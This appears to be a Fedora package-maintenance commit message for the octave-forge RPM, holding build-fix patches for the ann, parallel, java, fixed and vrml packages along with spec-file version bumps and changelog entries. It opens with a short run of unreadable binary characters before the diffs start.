????w???xc5s?c???3?g??i?'??????_m=??OC????4jz??)%??:?X??M???^???1E??^?I_A?'(???	u??
??????b?Z~?P<?]cD??Y?/??C?iM??4?p???
?Pe.?b????Y???nx]??,??d??T?>??????k?1???tP???k;w??%I??(.v#???tu???????7????H%%???\?
???x0?
octave-forge-20090607-ann-swig-build.patch:
 ann_wrap.cpp |   61 ++++++++++++++++++++++++++++++++++++++++++++++++++---------
 1 file changed, 52 insertions(+), 9 deletions(-)

--- NEW FILE octave-forge-20090607-ann-swig-build.patch ---
--- main/ann-1.0.2/src/ann/bindings/ann_wrap.cpp	2009/01/10 01:02:37	5518
+++ main/ann-1.0.2/src/ann/bindings/ann_wrap.cpp	2009/07/12 21:16:23	6006
@@ -1,6 +1,6 @@
 /* ----------------------------------------------------------------------------
  * This file was automatically generated by SWIG (http://www.swig.org).
- * Version 1.3.37
+ * Version 1.3.40
  * 
  * This file is not intended to be easily readable and contains a number of 
  * coding conventions designed to improve portability and efficiency. Do not make
@@ -11,6 +11,7 @@
 #define SWIGOCTAVE
 #define SWIG_name_d      "ann"
 #define SWIG_name        ann
+#define USE_OCTAVE_API_VERSION 37
 
 
 #ifdef __cplusplus
@@ -860,27 +861,35 @@
 
   typedef std::map < void *, Director * > rtdir_map;
 
-  SWIGINTERN rtdir_map &get_rtdir_map() {
+  SWIGINTERN rtdir_map* get_rtdir_map() {
     static swig_module_info *module = 0;
     if (!module)
       module = SWIG_GetModule(0);
-    assert(module);
+    if (!module)
+      return 0;
     if (!module->clientdata)
       module->clientdata = new rtdir_map;
-    return *(rtdir_map *) module->clientdata;
+    return (rtdir_map *) module->clientdata;
   }
 
   SWIGINTERNINLINE void set_rtdir(void *vptr, Director *d) {
-    get_rtdir_map()[vptr] = d;
+    rtdir_map* rm = get_rtdir_map();
+    if (rm)
+      (*rm)[vptr] = d;
   }
 
   SWIGINTERNINLINE void erase_rtdir(void *vptr) {
-    get_rtdir_map().erase(vptr);
+    rtdir_map* rm = get_rtdir_map();
+    if (rm)
+      (*rm).erase(vptr);
   }
 
   SWIGINTERNINLINE Director *get_rtdir(void *vptr) {
-    rtdir_map::const_iterator pos = get_rtdir_map().find(vptr);
-    Director *rtdir = (pos != get_rtdir_map().end())? pos->second : 0;
+    rtdir_map* rm = get_rtdir_map();
+    if (!rm)
+      return 0;
+    rtdir_map::const_iterator pos = rm->find(vptr);
+    Director *rtdir = (pos != rm->end())? pos->second : 0;
     return rtdir;
   }
 }
@@ -1194,9 +1203,15 @@
 	  install_builtin_function(it->second.first->method, it->first,
 				   it->second.first->doc?it->second.first->doc:std::string());
 	else if (it->second.second.is_defined()) {
+#if USE_OCTAVE_API_VERSION<37
 	  link_to_global_variable(curr_sym_tab->lookup(it->first, true));
+#else 
+	  symbol_table::varref(it->first);
+	  symbol_table::mark_global(it->first);
+#endif
 	  set_global_value(it->first, it->second.second);
 	  
+#if USE_OCTAVE_API_VERSION<37
 	  octave_swig_type *ost = Swig::swig_value_deref(it->second.second);
 	  if (ost) {
 	    const char* h = ost->help_text();
@@ -1205,6 +1220,7 @@
 	      sr->document(h);
 	    }
 	  }
+#endif
 	}
       }
     }
@@ -2107,7 +2123,12 @@
 SWIGRUNTIME void SWIG_Octave_SetModule(void *clientdata, swig_module_info *pointer) {
   octave_value ov = new octave_swig_packed(0, &pointer, sizeof(swig_module_info *));
   const char *module_var = "__SWIG_MODULE__" SWIG_TYPE_TABLE_NAME SWIG_RUNTIME_VERSION;
+#if USE_OCTAVE_API_VERSION<37
   link_to_global_variable(curr_sym_tab->lookup(module_var, true));
+#else
+  symbol_table::varref(module_var);
+  symbol_table::mark_global(module_var);
+#endif
   set_global_value(module_var, ov);
 }
 
@@ -2146,7 +2167,7 @@
 /* -------- TYPES TABLE (END) -------- */
 
 
-#define SWIGVERSION 0x010337 
+#define SWIGVERSION 0x010340 
 #define SWIG_VERSION SWIGVERSION
 
 
@@ -9614,12 +9635,34 @@
     module_ns->install_global();
   module_ns->decref();
 
+#if USE_OCTAVE_API_VERSION<37
   link_to_global_variable(curr_sym_tab->lookup(SWIG_name_d,true));
+#else
+  symbol_table::varref(SWIG_name_d);
+  symbol_table::mark_global(SWIG_name_d);
+#endif
   set_global_value(SWIG_name_d,Swig::swig_value_ref(module_ns));
 
+#if USE_OCTAVE_API_VERSION>=37
+  mlock();
+#endif
+
   return octave_value_list();
 }
 
+// workaround bug in octave where installing global variable of custom type and then
+// exiting without explicitly clearing the variable causes octave to segfault.
+#if USE_OCTAVE_API_VERSION>=37
+struct oct_file_unload {
+  ~oct_file_unload() {
+    string_vector vars = symbol_table::global_variable_names();
+    for (int i = 0; i < vars.length(); i++)
+      symbol_table::clear_global(vars[i]);
+  }
+};
+static oct_file_unload __unload;
+#endif
+
 
 static void SWIG_init_user(octave_swig_type* module_ns)
 {

octave-forge-20090607-fixed-build.patch:
 Array-f.cc |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE octave-forge-20090607-fixed-build.patch ---
--- main/fixed-0.7.10/src/Array-f.cc	2009/06/11 19:15:58	5935
+++ main/fixed-0.7.10/src/Array-f.cc	2009/06/13 20:39:42	5936
@@ -50,9 +50,9 @@
 				    (arg (a) > arg (b))));
 }
 
-template class OCTAVE_FIXED_API Array<FixedPoint>;
+INSTANTIATE_ARRAY(FixedPoint, OCTAVE_FIXED_API);
 template class MArray<FixedPoint>;
-template class OCTAVE_FIXED_API Array<FixedPointComplex>;
+INSTANTIATE_ARRAY(FixedPointComplex, OCTAVE_FIXED_API);
 template class MArray<FixedPointComplex>;
 
 INSTANTIATE_MARRAY_FRIENDS (FixedPoint, )

octave-forge-20090607-includes.patch:
 pserver.cc |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE octave-forge-20090607-includes.patch ---
diff -up main/parallel-2.0.0/src/pserver.cc.orig main/parallel-2.0.0/src/pserver.cc
--- main/parallel-2.0.0/src/pserver.cc.orig	2009-05-08 16:17:57.000000000 +0300
+++ main/parallel-2.0.0/src/pserver.cc	2009-07-11 15:52:31.345823807 +0300
@@ -44,6 +44,7 @@ along with this program; If not, see <ht
 #include "input.h"
 #include "quit.h"
 
+#include <iostream>
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/socket.h>

octave-forge-20090607-java-build.patch:
 __java__.cc |    7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

--- NEW FILE octave-forge-20090607-java-build.patch ---
--- extra/java-1.2.6/src/__java__.cc	2009/08/15 18:44:39	6097
+++ extra/java-1.2.6/src/__java__.cc	2009/08/16 14:24:11	6098
@@ -31,6 +31,7 @@
 
 #include <algorithm>
 #include <map>
+#include <iostream>
 #include <fstream>
 
 typedef jint (JNICALL *JNI_CreateJavaVM_t) (JavaVM **pvm, JNIEnv **penv, void *args);
@@ -584,9 +585,9 @@
       idx_vector v = idx(i).index_vector ();
       if (! error_state)
         {
-          jintArray_ref i_array (jni_env, jni_env->NewIntArray (v.capacity ()));
+          jintArray_ref i_array (jni_env, jni_env->NewIntArray (v.length ()));
           jint *buf = jni_env->GetIntArrayElements (i_array, 0);
-          for (int k=0; k<v.capacity (); k++)
+          for (int k=0; k<v.length (); k++)
             buf[k] = v(k);
           jni_env->ReleaseIntArrayElements (i_array, buf, 0);
           jni_env->SetObjectArrayElement (retval, i, i_array);
@@ -676,7 +677,7 @@
   }
 
   string_vector v (name_list);
-  return v.qsort (true);
+  return v.sort (true);
 }
 
 static octave_value convert_to_string (JNIEnv *jni_env, jobject java_object, bool force, char type)

octave-forge-20090607-parallel-build.patch:
 DESCRIPTION                     |    4 +-
 inst/__bw_computing_machine__.m |    8 ++---
 inst/__bw_scheduler__.m         |   16 +++++-----
 src/__bw_prcv__.cc              |   57 +++++++-----------------------------
 src/__bw_psend__.cc             |   63 ++++++----------------------------------
 src/pserver.cc                  |    4 +-
 6 files changed, 39 insertions(+), 113 deletions(-)

--- NEW FILE octave-forge-20090607-parallel-build.patch ---
Index: DESCRIPTION
===================================================================
--- main/parallel-2.0.0/DESCRIPTION	(revision 5742)
+++ main/parallel-2.0.0/DESCRIPTION	(revision 6118)
@@ -1,6 +1,6 @@
 Name: Parallel
-Version: 2.0.0
-Date: 2009-03-29
+Version: 2.0.1
+Date: 2009-08-19
 Author: Hayato Fujiwara and Olaf Till <olaf.till at uni-jena.de>
 Maintainer: Hayato Fujiwara and Olaf Till <olaf.till at uni-jena.de>
 Title: Parallel Computing.
Index: src/__bw_psend__.cc
===================================================================
--- main/parallel-2.0.0/src/__bw_psend__.cc	(revision 5742)
+++ main/parallel-2.0.0/src/__bw_psend__.cc	(revision 6118)
@@ -19,72 +19,31 @@
 #include <octave/ls-oct-binary.h>
 #include <octave/oct-stream.h>
 
-DEFUN_DLD (__bw_psend__, args, , "psend (pd, name[, value])\n\
-Sends variable named in 'name' through pipe stream 'pd'.\n\
-With 'value' given and having boolean value 'true', the\n\
-contents of the second argument itself is sent under the name\n\
-'psend_var'.\n\
+DEFUN_DLD (__bw_psend__, args, , "psend (pd, var)\n\
+The contents of 'var' is sent through the pipe stream 'pd'\n\
+under the name 'psend_var'.\n\
 The variable is coded in Octaves binary format,\n\
 a header is included. It can be read by 'prcv ()'.\n\
 \n\
 This function may change and is internal to the parallel package.\n")
 {
-	std::string name;
-	std::string help;
-	int global;
 	octave_value retval;
 	octave_value tc;
-	bool contents;
 
-	if (args.length () == 2) 
-		contents = false;
-	else if (args.length () == 3) {
-		if (! args(2).is_real_scalar ()) {
-			error ("psend: third variable, if given, must be a real scalar.\n");
-			return retval;
-		}
-		contents = args(2).scalar_value ();
-	} else {
-		error ("psend: two or three arguments required\n");
+	if (args.length () != 2) {
+		error ("__bw_psend__: two arguments required\n");
 		return retval;
 	}
 
-	if (contents) {
-		name = "psend_var";
-		tc = args(1);
-		help = "";
-		global = false;
-	}
-	else {
-		if (args(1).is_string ()) name = args(1).string_value ();
-		else {
-			error ("psend: if named variable is to be sent, second argument must be a string\n");
-			return retval;
-		}
-		symbol_record *var = curr_sym_tab->lookup (name);
-	        if (! var) {
-			error ("psend: no such variable %s\n", name.c_str ());
-			return retval;
-		}
-		tc = var->def ();
-		help = var->help ();
-		global = var->is_linked_to_global ();
-	}
-	if (! tc.is_defined ()) {
-		// What means this?
-		error ("psend: variable not defined\n");
-		return retval;
-	}
-		
-	octave_stream os = octave_stream_list::lookup (args(0), "psend");
+	octave_stream os = octave_stream_list::lookup (args(0), "__bw_psend__");
 	if (error_state) {
-		error ("psend: no valid file id\n");
+		error ("__bw_psend__: no valid file id\n");
 		return retval;
 	}
 	if (os.is_open ()) {
 		std::string mode = os.mode_as_string (os.mode ());
 		if (mode == "r" || mode == "rb") {
-			error ("psend: stream not writable\n");
+			error ("__bw_psend__: stream not writable\n");
 			return retval;
 		}
 #ifdef PATCHED_PIPE_CODE_15TH_JUNE_07
@@ -94,20 +53,20 @@
 
 		// 98: "b"
 		if (! strchr (mode.c_str (), 98)) {
-			error ("psend: stream not binary\n");
+			error ("__bw_psend__: stream not binary\n");
 			return retval;
 		}
 #endif
 	}
 	else {
-		error ("psend: stream not open\n");
+		error ("__bw_psend__: stream not open\n");
 		return retval;
 	}
 
 	std::ostream *tps = os.output_stream ();
 	std::ostream& ps = *tps;
 	write_header (ps, LS_BINARY);
-	save_binary_data (ps, tc, name, help, global, false);
+	save_binary_data (ps, args(1), "psend_var", "", false, false);
 
 	return retval;
 }
Index: src/__bw_prcv__.cc
===================================================================
--- main/parallel-2.0.0/src/__bw_prcv__.cc	(revision 5742)
+++ main/parallel-2.0.0/src/__bw_prcv__.cc	(revision 6118)
@@ -20,7 +20,7 @@
 #include <octave/oct-stream.h>
 #include <octave/oct-map.h>
 
-DEFUN_DLD (__bw_prcv__, args, nargout, "prcv (pd)\n\
+DEFUN_DLD (__bw_prcv__, args, nargout, "__bw_prcv__ (pd)\n\
 Reads one variable from pipe stream 'pd'.\n\
 The variable must have been coded in Octaves binary format,\n\
 including a header. This can be done by 'psend ()'.\n\
@@ -29,8 +29,8 @@
 call 'feof ()' afterwards. If EOF is met later in reading,\n\
 it causes an error.\n\
 Normally, a structure is returned with the variable under its name\n\
-in a single field. With no output arguments, the variable is installed\n\
-into memory.\n\
+in a single field. Originally, with no output arguments, the variable was\n\
+installed into memory, but this has been disabled.\n\
 \n\
 This function may change and is internal to the parallel package.\n")
 {
@@ -38,10 +38,10 @@
 	Octave_map retstruct;
 
 	if (args.length () != 1) {
-		error ("prcv: exactly one argument required\n");
+		error ("__bw_prcv__: exactly one argument required\n");
 		return retval;
 	}
-	octave_stream is = octave_stream_list::lookup (args(0), "prcv");
+	octave_stream is = octave_stream_list::lookup (args(0), "__bw_prcv__");
 	if (error_state) return retval;
 
 	if (is.is_open ()) {
@@ -49,7 +49,7 @@
 		// 114: "r", 43: "+"
 		if (! strchr (mode.c_str (), 114) &&
 		    ! strchr (mode.c_str (), 43)) {
-			error ("prcv: stream not readable\n");
+			error ("__bw_prcv__: stream not readable\n");
 			return retval;
 		}
 #ifdef PATCHED_PIPE_CODE
@@ -59,13 +59,13 @@
 
 		// 98: "b"
 		if (! strchr (mode.c_str (), 98)) {
-			error ("prcv: stream not binary\n");
+			error ("__bw_prcv__: stream not binary\n");
 			return retval;
 		}
 #endif
 	}
 	else {
-		error ("prcv: stream not open\n");
+		error ("__bw_prcv__: stream not open\n");
 		return retval;
 	}
 
@@ -100,50 +100,17 @@
 	// after the header exactly one variable is expected. This
 	// is mended by asking for EOF here.
 	if (ps.eof () || error_state || name.empty ()) {
-		error ("prcv: error in reading variable data\n");
+		error ("__bw_prcv__: error in reading variable data\n");
 		return retval;
 	}
 	if  (! tc.is_defined ()) {
 		// What means this?
-		error ("prcv: error in reading variable\n");
+		error ("__bw_prcv__: error in reading variable\n");
 		return retval;
 	}
 
-	if (nargout == 1) {
-		retstruct.assign(name, tc);
-		retval = retstruct;
-	}
-	else {
-		// install_loaded_variable () is static ... here the
-		// code equivalent to
-		//
-		// install_loaded_variable (true, name, tc, global, doc);
-		//
-		// is duplicated (except one error check) ...
+	retstruct.assign(name, tc);
+	retval = retstruct;
 
-		symbol_record *lsr = curr_sym_tab->lookup (name);
-
-		bool is_undefined = true;
-		bool is_variable = false;
-
-		if (lsr) {
-			is_undefined = ! lsr->is_defined ();
-			is_variable = lsr->is_variable ();
-		}
-
-		symbol_record *sr = 0;
-
-		if (! global && (is_variable || is_undefined)) {
-			lsr = curr_sym_tab->lookup (name, true);
-			sr = lsr;
-		}
-		else {
-			lsr = curr_sym_tab->lookup (name, true);
-			link_to_global_variable (lsr);
-			sr = lsr;
-		}
-		sr->define (tc);
-		sr->document (doc);
-	}
 	return retval;
 }
Index: src/pserver.cc
===================================================================
--- main/parallel-2.0.0/src/pserver.cc	(revision 5742)
+++ main/parallel-2.0.0/src/pserver.cc	(revision 6118)
@@ -44,6 +44,7 @@
 #include "input.h"
 #include "quit.h"
 
+#include <iostream>
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/socket.h>
@@ -61,8 +62,6 @@
 // SSIZE_MAX might be for 64-bit. Limit to 2^31-1
 #define BUFF_SIZE 2147483647
 
-static bool quitting_gracefully = false;
-
 // Handle server SIGTERM SIGQUIT
 
 static RETSIGTYPE
@@ -99,6 +98,7 @@
 do_octave_atexit_server (void)
 {
   static bool deja_vu = false;
+  extern bool quitting_gracefully;
 
   while (! octave_atexit_functions.empty ())
     {
Index: inst/__bw_computing_machine__.m
===================================================================
--- main/parallel-2.0.0/inst/__bw_computing_machine__.m	(revision 5742)
+++ main/parallel-2.0.0/inst/__bw_computing_machine__.m	(revision 6118)
@@ -46,11 +46,11 @@
     end_try_catch
 
     if (err)
-      __bw_psend__ (stdout, 2, true);
-      __bw_psend__ (stdout, msg, true);
+      __bw_psend__ (stdout, 2);
+      __bw_psend__ (stdout, msg);
     else
-      __bw_psend__ (stdout, 0, true);
-      __bw_psend__ (stdout, res, true);
+      __bw_psend__ (stdout, 0);
+      __bw_psend__ (stdout, res);
     endif
     fflush (stdout);
 
Index: inst/__bw_scheduler__.m
===================================================================
--- main/parallel-2.0.0/inst/__bw_scheduler__.m	(revision 5742)
+++ main/parallel-2.0.0/inst/__bw_scheduler__.m	(revision 6118)
@@ -147,8 +147,8 @@
 	[pdw, pdr, pid] = popen2 (cmd, cmd_args, 1);
 	while (true) # break if eof on pdr
 	  arg_id = __bw_prcv__ (pdrc).psend_var;
-	  __bw_psend__ (pdw, args{arg_id}, true);
-	  __bw_psend__ (pdw, arg_id, true);
+	  __bw_psend__ (pdw, args{arg_id});
+	  __bw_psend__ (pdw, arg_id);
 	  fflush (pdw);
 	  try
 	    if (ismatrix (tp = __bw_prcv__ (pdr)))
@@ -167,8 +167,8 @@
 	      break;
 	    end_try_catch
 	    tp = tp.psend_var;
-	    __bw_psend__ (pdwc, 2, true);
-	    __bw_psend__ (pdwc, tp, true);
+	    __bw_psend__ (pdwc, 2);
+	    __bw_psend__ (pdwc, tp);
 	    fflush (pdwc);
 	  else # success
 	    try
@@ -179,15 +179,15 @@
 	      break;
 	    end_try_catch
 	    tp = tp.psend_var;
-	    __bw_psend__ (pdwc, 0, true);
-	    __bw_psend__ (pdwc, tp, true);
+	    __bw_psend__ (pdwc, 0);
+	    __bw_psend__ (pdwc, tp);
 	    fflush (pdwc);
 	  endif
 	endwhile
 	waitpid (pid);
 	pclose (pdr);
 	pclose (pdw);
-	__bw_psend__ (pdwc, 1, true); # computing machine (got) unreachable
+	__bw_psend__ (pdwc, 1); # computing machine (got) unreachable
 	fflush (pdwc);
 	if ((rest = connect_timeout + constart - time) > 0)
 	  pause (rest);
@@ -225,7 +225,7 @@
     ## there should always be free childs here, give them a task
     for id = 1:min (length (m_free), length (args_unused))
       ## tell child to use this argument
-      __bw_psend__ (pipesw(m_free(id)), args_unused(id), true);
+      __bw_psend__ (pipesw(m_free(id)), args_unused(id));
       fflush (pipesw(m_free(id)));
       ## mark child active (busy) and note argument of machine
       m_active(m_free(id)) = args_unused(id);

octave-forge-20090607-vrml-build.patch:
 vrml_DirectionalLight.m |    4 ++--
 vrml_text.m             |    2 +-
 vrml_transfo.m          |    2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE octave-forge-20090607-vrml-build.patch ---
--- main/vrml-1.0.10/inst/vrml_text.m	2009/08/02 21:17:03	6072
+++ main/vrml-1.0.10/inst/vrml_text.m	2009/08/04 05:01:52	6073
@@ -46,7 +46,7 @@
 
   df = tars (col, size, family, justify, style, verbose);
 
-  s = read_options (varargin{:}, "op1",op1,"op0",op0, "default",df);
+  s = read_options (varargin, "op1",op1,"op0",op0, "default",df);
   col=       s.col;
   size=      s.size;
   family=    s.family;
--- main/vrml-1.0.10/inst/vrml_transfo.m	2009/08/02 21:17:03	6072
+++ main/vrml-1.0.10/inst/vrml_transfo.m	2009/08/04 05:01:52	6073
@@ -57,7 +57,7 @@
 if prod(size(c))==1, c = [c;c;c]; end
 
 if all(size(r) == 3)
-  if abs (det (r) - 1) > sqrt (eps), r2 = orthogonalize (r);
+  if abs (det (r) - 1) > sqrt (eps), r2 = orth (r);
   else                               r2 = r;
   end
   [axis,ang] = rotparams (r2);
--- main/vrml-1.0.10/inst/vrml_DirectionalLight.m	2009/07/19 06:38:10	6029
+++ main/vrml-1.0.10/inst/vrml_DirectionalLight.m	2009/07/19 17:03:21	6030
@@ -42,8 +42,8 @@
     end
 
     body = [body,\
-	    sprintf ("   %-20s   %s\n",key, 
-		     sprintf (getfield (tpl,key), val))];
+	    sprintf("   %-20s   %s\n",key,
+		     sprintf(getfield (tpl,key), val))];
   end
 end
 s = sprintf ("DirectionalLight { \n%s}\n", body);


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/octave-forge/F-11/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	9 Sep 2008 17:59:42 -0000	1.14
+++ .cvsignore	18 Oct 2009 03:27:49 -0000	1.15
@@ -1 +1 @@
-octave-forge-bundle-20080831.patched.tar.gz
+octave-forge-bundle-20090607.patched.tar.gz


Index: octave-forge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/octave-forge/F-11/octave-forge.spec,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- octave-forge.spec	28 Mar 2009 10:11:48 -0000	1.68
+++ octave-forge.spec	18 Oct 2009 03:27:51 -0000	1.69
@@ -1,8 +1,8 @@
 %{!?octave_api: %define octave_api %(octave-config -p API_VERSION || echo 0)}
 
 Name:           octave-forge
-Version:        20080831
-Release:        8%{?dist}
+Version:        20090607
+Release:        15%{?dist}
 Summary:        Contributed functions for octave
 
 Group:          Applications/Engineering
@@ -17,82 +17,107 @@ URL:            http://octave.sourceforg
 ## tar czf octave-forge-bundle-%{version}.patched.tar.gz octave-forge-bundle-%{version}
 ## rm -Rf octave-forge-bundle-%{version}
 Source0:        %{name}-bundle-%{version}.patched.tar.gz
-Patch0:         %{name}-image-1.0.8-build.patch
+Patch0:		octave-forge-20090607-ann-swig-build.patch
+Patch1:		octave-forge-20090607-parallel-build.patch
+Patch2:		octave-forge-20090607-java-build.patch
+Patch3:		octave-forge-20090607-fixed-build.patch
+Patch4:		octave-forge-20090607-vrml-build.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-Requires:	octave(api) = %{octave_api} ImageMagick
 BuildRequires:  octave-devel >= 6:3.0.0-1
 BuildRequires:  tetex gcc-gfortran ginac-devel
 BuildRequires:  ImageMagick-c++-devel libnc-dap-devel pcre-devel gsl-devel
 BuildRequires:  libjpeg-devel libpng-devel ncurses-devel ftplib-devel
 BuildRequires:  openssl-devel java-devel-gcj
-Provides: octave-ann = 1.0.1
-Provides: octave-audio = 1.1.2
-Provides: octave-benchmark = 1.0.0
-Provides: octave-bioinfo = 0.1.1
-Provides: octave-combinatorics = 1.0.7
-Provides: octave-communications = 1.0.8
-Provides: octave-control = 1.0.7
-Provides: octave-data-smoothing = 1.1.1
-Provides: octave-econometrics = 1.0.7
-Provides: octave-financial = 0.3.0
-Provides: octave-fixed = 0.7.8
-Provides: octave-ftp = 1.0.1
-Provides: octave-ga = 0.9.4
-Provides: octave-general = 1.0.7
-Provides: octave-gsl = 1.0.7
-Provides: octave-ident = 1.0.6
-Provides: octave-image = 1.0.8
-Provides: octave-informationtheory = 0.1.6
-Provides: octave-io = 1.0.7
-Provides: octave-irsa = 1.0.6
-Provides: octave-linear-algebra = 1.0.6
-Provides: octave-miscellaneous = 1.0.7
-Provides: octave-missing-functions = 1.0.1
-Provides: octave-nnet = 0.1.8
-Provides: octave-octcdf = 1.0.11
-Provides: octave-octgpr = 1.1.4
-Provides: octave-odebvp = 1.0.5
-Provides: octave-odepkg = 0.6.4
-Provides: octave-optim = 1.0.4
-Provides: octave-optiminterp = 0.3.1
-Provides: octave-outliers = 0.13.8
-Provides: octave-parallel = 1.0.7
-Provides: octave-physicalconstants = 0.1.6
-Provides: octave-plot = 1.0.6
-Provides: octave-signal = 1.0.8
+
+Requires:	octave(api) = %{octave_api} ImageMagick
+
+# Main
+Provides: octave-ann = 1.0.2
+Provides: octave-audio = 1.1.4
+Provides: octave-benchmark = 1.1.1
+Provides: octave-bioinfo = 0.1.2
+Provides: octave-combinatorics = 1.0.9
+Provides: octave-communications = 1.0.10
+Provides: octave-control = 1.0.11
+# octave-database is removed
+Provides: octave-data-smoothing = 1.2.0
+Provides: octave-econometrics = 1.0.8
+Provides: octave-financial = 0.3.2
+Provides: octave-fixed = 0.7.10
+# temporarily disable: SWIG wrappers are broken: known upstream
+# Provides: octave-ftp = 1.0.2
+Provides: octave-ga = 0.9.7
+Provides: octave-general = 1.1.3
+Provides: octave-gsl = 1.0.8
+Provides: octave-ident = 1.0.7
+Provides: octave-image = 1.0.10
+Provides: octave-informationtheory = 0.1.8
+Provides: octave-io = 1.0.9
+Provides: octave-irsa = 1.0.7
+Provides: octave-linear-algebra = 1.0.8
+Provides: octave-miscellaneous = 1.0.9
+Provides: octave-missing-functions = 1.0.2
+Provides: octave-nnet = 0.1.10
+Provides: octave-octcdf = 1.0.13
+Provides: octave-octgpr = 1.1.5
+Provides: octave-odebvp = 1.0.6
+Provides: octave-odepkg = 0.6.7
+Provides: octave-optim = 1.0.6
+Provides: octave-optiminterp = 0.3.2
+Provides: octave-outliers = 0.13.9
+Provides: octave-parallel = 2.0.1
+Provides: octave-physicalconstants = 0.1.7
+Provides: octave-plot = 1.0.7
+Provides: octave-quaternion = 1.0.0
+Provides: octave-signal = 1.0.10
+Provides: octave-simp = 1.1.0
 Provides: octave-sockets = 1.0.5
-Provides: octave-specfun = 1.0.7
-Provides: octave-special-matrix = 1.0.6
-Provides: octave-splines = 1.0.6
-Provides: octave-statistics = 1.0.7
-Provides: octave-strings = 1.0.6
-Provides: octave-struct = 1.0.6
-Provides: octave-symbolic = 1.0.7
-Provides: octave-time = 1.0.8
-Provides: octave-vrml = 1.0.8
-Provides: octave-zenity = 0.5.6
-Provides: octave-ad = 1.0.4
-Provides: octave-bim = 0.0.7
-Provides: octave-civil-engineering = 1.0.6
-Provides: octave-fpl = 0.1.3
-Provides: octave-graceplot = 1.0.6
-Provides: octave-integration = 1.0.6
-Provides: octave-java = 1.2.5
-Provides: octave-mapping = 1.0.6
-Provides: octave-msh = 0.0.7
-Provides: octave-multicore = 0.2.13
-Provides: octave-nan = 1.0.7
-Provides: octave-nlwing2 = 1.0.1
-Provides: octave-ocs = 0.0.2
-Provides: octave-pdb = 1.0.6
-Provides: octave-secs1d = 0.0.7
-Provides: octave-secs2d = 0.0.7
-Provides: octave-symband = 1.0.8
-Provides: octave-tcl-octave = 0.1.7
-Provides: octave-tsa = 4.0.0
-Provides: octave-xraylib = 1.0.7
-Provides: octave-pt_br = 1.0.7
+Provides: octave-specfun = 1.0.8
+Provides: octave-special-matrix = 1.0.7
+Provides: octave-splines = 1.0.7
+Provides: octave-statistics = 1.0.9
+Provides: octave-strings = 1.0.7
+Provides: octave-struct = 1.0.7
+Provides: octave-symbolic = 1.0.9
+Provides: octave-time = 1.0.9
+# octave-video is removed
+Provides: octave-vrml = 1.0.10
+Provides: octave-zenity = 0.5.7
+
+# Extra
+Provides: octave-ad = 1.0.6
+Provides: octave-bim = 0.1.1
+Provides: octave-civil-engineering = 1.0.7
+# octave-engine is removed
+Provides: octave-fpl = 0.1.6
+Provides: octave-generate_html = 0.0.9
+# temporarily disable: doesn't yet build
+# Provides: octave-graceplot = 1.0.8
+Provides: octave-integration = 1.0.7
+Provides: octave-java = 1.2.6
+# octave-jhandles is removed
+Provides: octave-mapping = 1.0.7
+Provides: octave-msh = 0.1.1
+Provides: octave-multicore = 0.2.15
+Provides: octave-nan = 1.0.9
+Provides: octave-nlwing2 = 1.1.1
+Provides: octave-nurbs = 1.0.1
+Provides: octave-ocs = 0.0.4
+Provides: octave-oct2mat = 1.0.7
+Provides: octave-pdb = 1.0.7
+Provides: octave-secs1d = 0.0.8
+Provides: octave-secs2d = 0.0.8
+Provides: octave-symband = 1.0.10
+Provides: octave-tcl-octave = 0.1.8
+Provides: octave-tsa = 4.0.1
+# octave-windows is removed
+Provides: octave-xraylib = 1.0.8
+
+# Language
+# temporarily disable, doesn't build
+# Provides: octave-spanish = 1.0.1
+Provides: octave-pt_br = 1.0.8
 
 
 %description
@@ -117,6 +142,12 @@ rm extra/jhandles-*.tar.gz
 rm extra/windows-*.tar.gz
 # 5. exclude database stuff--it should be in its own package
 rm main/database-*.tar.gz
+# 6. exclude ftp -- SWIG wrappers are broken
+rm main/ftp-*.tar.gz
+# 7. exclude graceplot --  doesn't build against Octave 3.2
+rm extra/graceplot-*.tar.gz
+# 8. exclude spanish -- doesn't build against Octave 3.2
+rm language/spanish-*.tar.gz
 
 #Unpack everything
 for pkg in main extra language
@@ -132,8 +163,12 @@ do
    cd ..
 done
 
-#apply patch to build image-1.0.8 (bug #477577)
+#apply patches
 %patch0 -p0
+%patch1 -p0
+%patch2 -p0
+%patch3 -p0
+%patch4 -p0
 
 #Install with -nodeps
 sed -i -e "s/pkg('install',/pkg('install','-nodeps',/" */*/Makefile
@@ -145,7 +180,7 @@ export TERM=""
 for pkg in main extra language
 do
    cd $pkg
-   for dir in *.[0-9]
+   for dir in *.*[0-9]
    do
       cd $dir
       if [ -f configure ]
@@ -179,7 +214,7 @@ export TERM=""
 for pkg in main extra language
 do
    cd $pkg
-   for dir in *.[0-9]
+   for dir in *.*[0-9]
    do
        cd $dir
        make install TMPDIR=%{_tmppath} DESTDIR=$RPM_BUILD_ROOT DISTPKG=redhat
@@ -207,6 +242,74 @@ octave -q -H --no-site-file --eval "pkg(
 
 
 %changelog
+* Mon Sep  7 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 20090607-15
+- Re-enable 'fixed' subpackage, builds now, this closes #510841
+- ftp, graceplot and spanish packages need fixing upstream, leave
+  disabled for the moment
+
+* Mon Sep  7 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 20090607-14
+- Re-enable java subpackage, now building
+- Rebuild against new atlas, fixes the ieee warnings.
+
+* Sun Sep  6 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 20090607-13
+- Rebuild against new lapack/octave combination to fix ieee problem
+
+* Mon Aug 31 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 20090607-12
+- Add patch from upstream SVN (r6073) for 'vrml'
+- Disable 'fixed' package again, patch fixed the build but fails at
+  install-time on i686 probably for similar reasons java- fails to
+  install
+
+* Mon Aug 31 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 20090607-11
+- Fixed shell globbing in build and install sections that missed
